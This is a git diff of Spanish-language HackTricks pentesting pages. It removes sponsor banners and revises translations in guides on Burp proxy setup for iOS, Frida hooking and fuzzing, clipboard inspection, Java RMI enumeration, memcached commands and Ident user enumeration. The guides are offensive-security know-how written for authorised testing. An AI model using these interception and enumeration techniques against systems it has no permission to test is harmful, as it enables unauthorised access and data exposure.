<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,27 +2,19 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas más avanzadas** de la comunidad.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Instalación del Certificado Burp en Dispositivos iOS ## Instalación del Certificado Burp en Dispositivos iOS
Para el análisis seguro del tráfico web y el SSL pinning en dispositivos iOS, se puede utilizar Burp Suite a través del **Burp Mobile Assistant** o mediante configuración manual. A continuación se presenta una guía resumida sobre ambos métodos: Para el análisis seguro del tráfico web y el SSL pinning en dispositivos iOS, se puede utilizar Burp Suite a través del **Burp Mobile Assistant** o mediante configuración manual. A continuación se presenta una guía resumida sobre ambos métodos:
### Instalación Automatizada con Burp Mobile Assistant ### Instalación Automatizada con Burp Mobile Assistant
El **Burp Mobile Assistant** simplifica el proceso de instalación del Certificado Burp, la configuración del proxy y el SSL Pinning. Se puede encontrar una guía detallada en [la documentación oficial de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). El **Burp Mobile Assistant** simplifica el proceso de instalación del Certificado Burp, la configuración del proxy y el SSL Pinning. Se puede encontrar una guía detallada en la [documentación oficial de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
### Pasos de Instalación Manual ### Pasos de Instalación Manual
1. **Configuración del Proxy:** Comienza configurando Burp como el proxy en la configuración de Wi-Fi del iPhone. 1. **Configuración del Proxy:** Comience configurando Burp como el proxy en la configuración de Wi-Fi del iPhone.
2. **Descarga del Certificado:** Navega a `http://burp` en el navegador de tu dispositivo para descargar el certificado. 2. **Descarga del Certificado:** Navegue a `http://burp` en el navegador de su dispositivo para descargar el certificado.
3. **Instalación del Certificado:** Instala el perfil descargado a través de **Configuración** > **General** > **VPN y Gestión de Dispositivos**, luego habilita la confianza para el CA de PortSwigger en **Configuración de Confianza del Certificado**. 3. **Instalación del Certificado:** Instale el perfil descargado a través de **Configuración** > **General** > **VPN y Gestión de Dispositivos**, luego habilite la confianza para el CA de PortSwigger en **Configuración de Confianza del Certificado**.
### Configuración de un Proxy de Intercepción ### Configuración de un Proxy de Intercepción
@ -32,19 +24,19 @@ La configuración permite el análisis del tráfico entre el dispositivo iOS y e
Para usuarios con dispositivos jailbroken, SSH sobre USB (a través de **iproxy**) ofrece un método para enrutar el tráfico directamente a través de Burp: Para usuarios con dispositivos jailbroken, SSH sobre USB (a través de **iproxy**) ofrece un método para enrutar el tráfico directamente a través de Burp:
1. **Establecer Conexión SSH:** Usa iproxy para redirigir SSH a localhost, permitiendo la conexión desde el dispositivo iOS a la computadora que ejecuta Burp. 1. **Establecer Conexión SSH:** Use iproxy para redirigir SSH a localhost, permitiendo la conexión desde el dispositivo iOS a la computadora que ejecuta Burp.
```bash ```bash
iproxy 2222 22 iproxy 2222 22
``` ```
2. **Redirección de Puerto Remoto:** Redirige el puerto 8080 del dispositivo iOS al localhost de la computadora para habilitar el acceso directo a la interfaz de Burp. 2. **Redirección de Puerto Remoto:** Redirija el puerto 8080 del dispositivo iOS al localhost de la computadora para habilitar el acceso directo a la interfaz de Burp.
```bash ```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222 ssh -R 8080:localhost:8080 root@localhost -p 2222
``` ```
3. **Configuración de Proxy Global:** Por último, configura la configuración de Wi-Fi del dispositivo iOS para usar un proxy manual, dirigiendo todo el tráfico web a través de Burp. 3. **Configuración de Proxy Global:** Por último, configure la configuración de Wi-Fi del dispositivo iOS para usar un proxy manual, dirigiendo todo el tráfico web a través de Burp.
### Monitoreo/Sniffing Completo de Red ### Monitoreo/Sniffing Completo de Red
@ -52,14 +44,14 @@ El monitoreo del tráfico no HTTP del dispositivo se puede realizar de manera ef
El procedimiento implica varios pasos clave: El procedimiento implica varios pasos clave:
1. Inicia una conexión entre el dispositivo iOS y el host macOS a través de USB. 1. Inicie una conexión entre el dispositivo iOS y el host macOS a través de USB.
2. Determina el **UDID** del dispositivo iOS, un paso necesario para el monitoreo del tráfico. Esto se puede hacer ejecutando un comando en la Terminal de macOS: 2. Asegúrese del **UDID** del dispositivo iOS, un paso necesario para el monitoreo del tráfico. Esto se puede hacer ejecutando un comando en la Terminal de macOS:
```bash ```bash
$ rvictl -s <UDID> $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0 Starting device <UDID> [SUCCEEDED] with interface rvi0
``` ```
3. Después de identificar el UDID, **Wireshark** debe abrirse y seleccionar la interfaz "rvi0" para la captura de datos. 3. Después de identificar el UDID, **Wireshark** debe abrirse y seleccionar la interfaz "rvi0" para la captura de datos.
4. Para un monitoreo específico, como capturar tráfico HTTP relacionado con una dirección IP específica, se pueden emplear los Filtros de Captura de Wireshark: 4. Para el monitoreo específico, como capturar tráfico HTTP relacionado con una dirección IP específica, se pueden emplear los Filtros de Captura de Wireshark:
## Instalación del Certificado Burp en el Simulador ## Instalación del Certificado Burp en el Simulador
@ -69,7 +61,7 @@ En _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for
![](<../../images/image (534).png>) ![](<../../images/image (534).png>)
- **Arrastrar y soltar** el certificado dentro del emulador - **Arrastrar y Soltar** el certificado dentro del Emulador
- **Dentro del emulador**, ir a _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, y **verificar el certificado** - **Dentro del emulador**, ir a _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, y **verificar el certificado**
- **Dentro del emulador**, ir a _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, y **habilitar PortSwigger CA** - **Dentro del emulador**, ir a _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, y **habilitar PortSwigger CA**
@ -92,11 +84,5 @@ Pasos para configurar Burp como proxy:
- Hacer clic en _**Ok**_ y luego en _**Apply**_ - Hacer clic en _**Ok**_ y luego en _**Apply**_
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén tu certificación:
{% embed url="https://academy.8ksec.io/" %}
## Instalación de Frida ## Instalación de Frida
**Pasos para instalar Frida en un dispositivo con Jailbreak:** **Pasos para instalar Frida en un dispositivo con Jailbreak:**
@ -25,7 +19,7 @@ Ejecuta también **`frida-ps -Uia`** para verificar los procesos en ejecución d
## Frida sin dispositivo con Jailbreak y sin parchear la aplicación ## Frida sin dispositivo con Jailbreak y sin parchear la aplicación
Consulta esta publicación de blog sobre cómo usar Frida en dispositivos no jailbreak sin parchear la aplicación: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) Consulta esta publicación de blog sobre cómo usar Frida en dispositivos no jailbroken sin parchear la aplicación: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Instalación del Cliente Frida ## Instalación del Cliente Frida
@ -295,11 +289,11 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
# You can find code coverage and crashes in examples/wg-log/out/ # You can find code coverage and crashes in examples/wg-log/out/
``` ```
> [!CAUTION] > [!CAUTION]
> En este caso **no estamos reiniciando la aplicación ni restaurando el estado** después de cada payload. Así que, si Frida encuentra un **crash**, los **siguientes inputs** después de ese payload también podrían **hacer que la app se caiga** (porque la app está en un estado inestable) incluso si el **input no debería hacer que la app se caiga**. > En este caso **no estamos reiniciando la aplicación ni restaurando el estado** después de cada payload. Así que, si Frida encuentra un **crash**, los **siguientes inputs** después de ese payload también podrían **hacer que la aplicación se caiga** (porque la aplicación está en un estado inestable) incluso si el **input no debería hacer que la aplicación se caiga**.
> >
> Además, Frida se enganchará a las señales de excepción de iOS, por lo que cuando **Frida encuentra un crash**, probablemente **no se generarán informes de crash de iOS**. > Además, Frida se enganchará a las señales de excepción de iOS, por lo que cuando **Frida encuentra un crash**, probablemente **no se generarán informes de crash de iOS**.
> >
> Para prevenir esto, por ejemplo, podríamos reiniciar la app después de cada crash de Frida. > Para prevenir esto, por ejemplo, podríamos reiniciar la aplicación después de cada crash de Frida.
### Logs & Crashes ### Logs & Crashes
@ -343,10 +337,5 @@ Puedes verificar los fallos en:
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) - [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Mobile Security** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,5 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facilita mediante el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales: El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facilita mediante el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
- **Portapapeles general del sistema**: Este se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios del dispositivo y desinstalaciones de aplicaciones, una característica que está disponible desde iOS 10. - **Portapapeles general del sistema**: Este se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios del dispositivo y desinstalaciones de aplicaciones, una característica que está disponible desde iOS 10.
@ -14,7 +10,7 @@ El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facil
- No hay un mecanismo para que los usuarios gestionen los permisos de las aplicaciones para acceder al **portapapeles**. - No hay un mecanismo para que los usuarios gestionen los permisos de las aplicaciones para acceder al **portapapeles**.
- Para mitigar el riesgo de monitoreo no autorizado en segundo plano del portapapeles, el acceso se restringe a cuando la aplicación está en primer plano (desde iOS 9). - Para mitigar el riesgo de monitoreo no autorizado en segundo plano del portapapeles, el acceso se restringe a cuando la aplicación está en primer plano (desde iOS 9).
- Se desaconseja el uso de portapapeles nombrados persistentes en favor de contenedores compartidos debido a preocupaciones de privacidad. - Se desaconseja el uso de portapapeles nombrados persistentes en favor de contenedores compartidos debido a preocupaciones de privacidad.
- La función **Portapapeles Universal** introducida con iOS 10, que permite compartir contenido entre dispositivos a través del portapapeles general, puede ser gestionada por los desarrolladores para establecer la expiración de datos y deshabilitar la transferencia automática de contenido. - La función **Universal Clipboard** introducida con iOS 10, que permite compartir contenido entre dispositivos a través del portapapeles general, puede ser gestionada por los desarrolladores para establecer la expiración de datos y deshabilitar la transferencia automática de contenido.
Asegurarse de que **la información sensible no se almacene inadvertidamente** en el portapapeles global es crucial. Además, las aplicaciones deben diseñarse para prevenir el uso indebido de los datos del portapapeles global para acciones no intencionadas, y se alienta a los desarrolladores a implementar medidas para evitar la copia de información sensible al portapapeles. Asegurarse de que **la información sensible no se almacene inadvertidamente** en el portapapeles global es crucial. Además, las aplicaciones deben diseñarse para prevenir el uso indebido de los datos del portapapeles global para acciones no intencionadas, y se alienta a los desarrolladores a implementar medidas para evitar la copia de información sensible al portapapeles.
@ -35,7 +31,7 @@ El análisis dinámico implica enganchar o rastrear métodos específicos:
Los detalles clave a monitorear incluyen: Los detalles clave a monitorear incluyen:
- **Nombres del portapapeles** y **contenidos** (por ejemplo, verificar cadenas, URLs, imágenes). - **Nombres de portapapeles** y **contenidos** (por ejemplo, verificar cadenas, URLs, imágenes).
- **Número de elementos** y **tipos de datos** presentes, aprovechando verificaciones de tipos de datos estándar y personalizados. - **Número de elementos** y **tipos de datos** presentes, aprovechando verificaciones de tipos de datos estándar y personalizados.
- **Opciones de expiración y solo local** inspeccionando el método `setItems:options:`. - **Opciones de expiración y solo local** inspeccionando el método `setItems:options:`.
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi) - [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Información Básica ## Información Básica
_Java Remote Method Invocation_, o _Java RMI_, es un mecanismo _RPC_ orientado a objetos que permite a un objeto ubicado en una _máquina virtual Java_ llamar a métodos en un objeto ubicado en otra _máquina virtual Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [esta charla de blackhat](https://youtu.be/t_aw1mDNhzI?t=202). _Java Remote Method Invocation_, o _Java RMI_, es un mecanismo _RPC_ orientado a objetos que permite a un objeto ubicado en una _máquina virtual Java_ llamar a métodos en un objeto ubicado en otra _máquina virtual Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
**Puerto por defecto:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 **Puerto por defecto:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
``` ```
@ -35,7 +27,7 @@ En términos simples, _Java RMI_ permite a un desarrollador hacer un _objeto Jav
El primer desafío se resuelve mediante el _RMI registry_, que es básicamente un servicio de nombres para _Java RMI_. El _RMI registry_ en sí también es un _servicio RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el _RMI registry_ solo conociendo el puerto _TCP_ correspondiente. El primer desafío se resuelve mediante el _RMI registry_, que es básicamente un servicio de nombres para _Java RMI_. El _RMI registry_ en sí también es un _servicio RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el _RMI registry_ solo conociendo el puerto _TCP_ correspondiente.
Cuando los desarrolladores quieren hacer sus _objetos Java_ disponibles dentro de la red, generalmente los vinculan a un _RMI registry_. El _registry_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y la hace disponible bajo un nombre legible por humanos (el _nombre vinculado_). Los clientes que desean consumir el _servicio RMI_ preguntan al _RMI registry_ por el _nombre vinculado_ correspondiente y el registry devuelve toda la información necesaria para conectarse. Así, la situación es básicamente la misma que con un servicio _DNS_ ordinario. La siguiente lista muestra un pequeño ejemplo: Cuando los desarrolladores quieren hacer sus _objetos Java_ disponibles dentro de la red, generalmente los vinculan a un _RMI registry_. El _registry_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y la pone a disposición bajo un nombre legible por humanos (el _nombre vinculado_). Los clientes que desean consumir el _servicio RMI_ preguntan al _RMI registry_ por el _nombre vinculado_ correspondiente y el registry devuelve toda la información necesaria para conectarse. Así, la situación es básicamente la misma que con un servicio _DNS_ ordinario. La siguiente lista muestra un pequeño ejemplo:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -290,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## Comandos Automáticos de HackTricks ## HackTricks Comandos Automáticos
``` ```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT} Command: rmg enum {IP} {PORT}
``` ```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,45 +1,42 @@
# Comandos de Memcache # Memcache Commands
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} ## Commands Cheat-Sheet
## Hoja de trucos de comandos **From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
**De** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Los comandos soportados (los oficiales y algunos no oficiales) están documentados en el documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt). Los comandos soportados (los oficiales y algunos no oficiales) están documentados en el documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
Lamentablemente, la descripción de la sintaxis no es realmente clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí hay un resumen de los comandos que puedes encontrar en la [fuente](https://github.com/memcached/memcached) (a partir del 19.08.2016): Lamentablemente, la descripción de la sintaxis no es realmente clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí hay un resumen de los comandos que puedes encontrar en la [source](https://github.com/memcached/memcached) (a partir del 19.08.2016):
| Comando | Descripción | Ejemplo | | Command | Description | Example |
| -------------------- | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Lee un valor | `get mykey` | | get | Lee un valor | `get mykey` |
| set | Establece una clave incondicionalmente | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p> Asegúrate de usar \r\n como saltos de línea al usar herramientas de CLI de Unix. Por ejemplo&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> | | set | Establece una clave incondicionalmente | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Asegúrate de usar \r\n como saltos de línea al usar herramientas de CLI de Unix. Por ejemplo&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Agrega una nueva clave | `add newkey 0 60 5` | | add | Agrega una nueva clave | `add newkey 0 60 5` |
| replace | Sobrescribe una clave existente | `replace key 0 60 5` | | replace | Sobrescribe una clave existente | `replace key 0 60 5` |
| append | Agrega datos a una clave existente | `append key 0 60 15` | | append | Agrega datos a una clave existente | `append key 0 60 15` |
| prepend | Precede datos a una clave existente | `prepend key 0 60 15` | | prepend | Precede datos a una clave existente | `prepend key 0 60 15` |
| incr | Incrementa el valor numérico de la clave por un número dado | `incr mykey 2` | | incr | Incrementa el valor numérico de la clave por un número dado | `incr mykey 2` |
| decr | Decrementa el valor numérico de la clave por un número dado | `decr mykey 5` | | decr | Decrementa el valor numérico de la clave por un número dado | `decr mykey 5` |
| delete | Elimina una clave existente | `delete mykey` | | delete | Elimina una clave existente | `delete mykey` |
| flush_all | Invalida todos los elementos inmediatamente | `flush_all` | | flush_all | Invalida todos los elementos inmediatamente | `flush_all` |
| flush_all | Invalida todos los elementos en n segundos | `flush_all 900` | | flush_all | Invalida todos los elementos en n segundos | `flush_all 900` |
| stats | Imprime estadísticas generales | `stats` | | stats | Imprime estadísticas generales | `stats` |
| | Imprime estadísticas de memoria | `stats slabs` | | | Imprime estadísticas de memoria | `stats slabs` |
| | Imprime estadísticas de asignación de nivel superior | `stats malloc` | | | Imprime estadísticas de asignación de nivel superior | `stats malloc` |
| | Imprime información sobre los elementos | `stats items` | | | Imprime información sobre los elementos | `stats items` |
| | | `stats detail` | | | | `stats detail` |
| | | `stats sizes` | | | | `stats sizes` |
| | Restablece los contadores de estadísticas | `stats reset` | | | Restablece los contadores de estadísticas | `stats reset` |
| lru_crawler metadump | Volcar (la mayor parte de) los metadatos para (todos) los elementos en la caché | `lru_crawler metadump all` | | lru_crawler metadump | Volcar (la mayor parte de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
| version | Imprime la versión del servidor. | `version` | | version | Imprime la versión del servidor. | `version` |
| verbosity | Aumenta el nivel de registro | `verbosity` | | verbosity | Aumenta el nivel de registro | `verbosity` |
| quit | Termina la sesión | `quit` | | quit | Termina la sesión | `quit` |
#### Estadísticas de tráfico <a href="#traffic-statistics" id="traffic-statistics"></a> #### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
Puedes consultar las estadísticas de tráfico actuales usando el comando Puedes consultar las estadísticas de tráfico actuales usando el comando
``` ```
@ -100,11 +97,11 @@ STAT active_slabs 3
STAT total_malloced 3145436 STAT total_malloced 3145436
END END
``` ```
Si no estás seguro de si tienes suficiente memoria para tu instancia de memcached, siempre debes estar atento a los contadores de "evictions" proporcionados por el comando "stats". Si tienes suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando. Si no está seguro de si tiene suficiente memoria para su instancia de memcached, siempre esté atento a los contadores de "evictions" proporcionados por el comando "stats". Si tiene suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
#### ¿Qué Claves Se Usan? <a href="#which-keys-are-used" id="which-keys-are-used"></a> #### ¿Qué claves se utilizan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puedes usar el No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puede usar el
``` ```
stats items stats items
``` ```
@ -120,8 +117,4 @@ END
``` ```
Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script PHP que ya realiza el acceso a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script PHP que ya realiza el acceso a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,11 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Información Básica ## Información Básica
El **Protocolo Ident** se utiliza a través de **Internet** para asociar una **conexión TCP** con un usuario específico. Diseñado originalmente para ayudar en la **gestión de redes** y **seguridad**, opera permitiendo que un servidor consulte a un cliente en el puerto 113 para solicitar información sobre el usuario de una conexión TCP particular. El **Protocolo Ident** se utiliza a través de **Internet** para asociar una **conexión TCP** con un usuario específico. Originalmente diseñado para ayudar en la **gestión de redes** y **seguridad**, opera permitiendo que un servidor consulte a un cliente en el puerto 113 para solicitar información sobre el usuario de una conexión TCP particular.
Sin embargo, debido a las preocupaciones modernas sobre la privacidad y el potencial de uso indebido, su uso ha disminuido, ya que puede revelar inadvertidamente información del usuario a partes no autorizadas. Se recomiendan medidas de seguridad mejoradas, como conexiones encriptadas y controles de acceso estrictos, para mitigar estos riesgos. Sin embargo, debido a las preocupaciones modernas sobre la privacidad y el potencial de uso indebido, su uso ha disminuido ya que puede revelar inadvertidamente información del usuario a partes no autorizadas. Se recomiendan medidas de seguridad mejoradas, como conexiones encriptadas y controles de acceso estrictos, para mitigar estos riesgos.
**Puerto por defecto:** 113 **Puerto por defecto:** 113
``` ```
@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Comandos Automáticos de HackTricks ## Comandos Automáticos de HackTricks
``` ```
Protocol_Name: Ident #Protocol Abbreviation if there is one. Protocol_Name: Ident #Protocol Abbreviation if there is one.

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Información Básica ## Información Básica
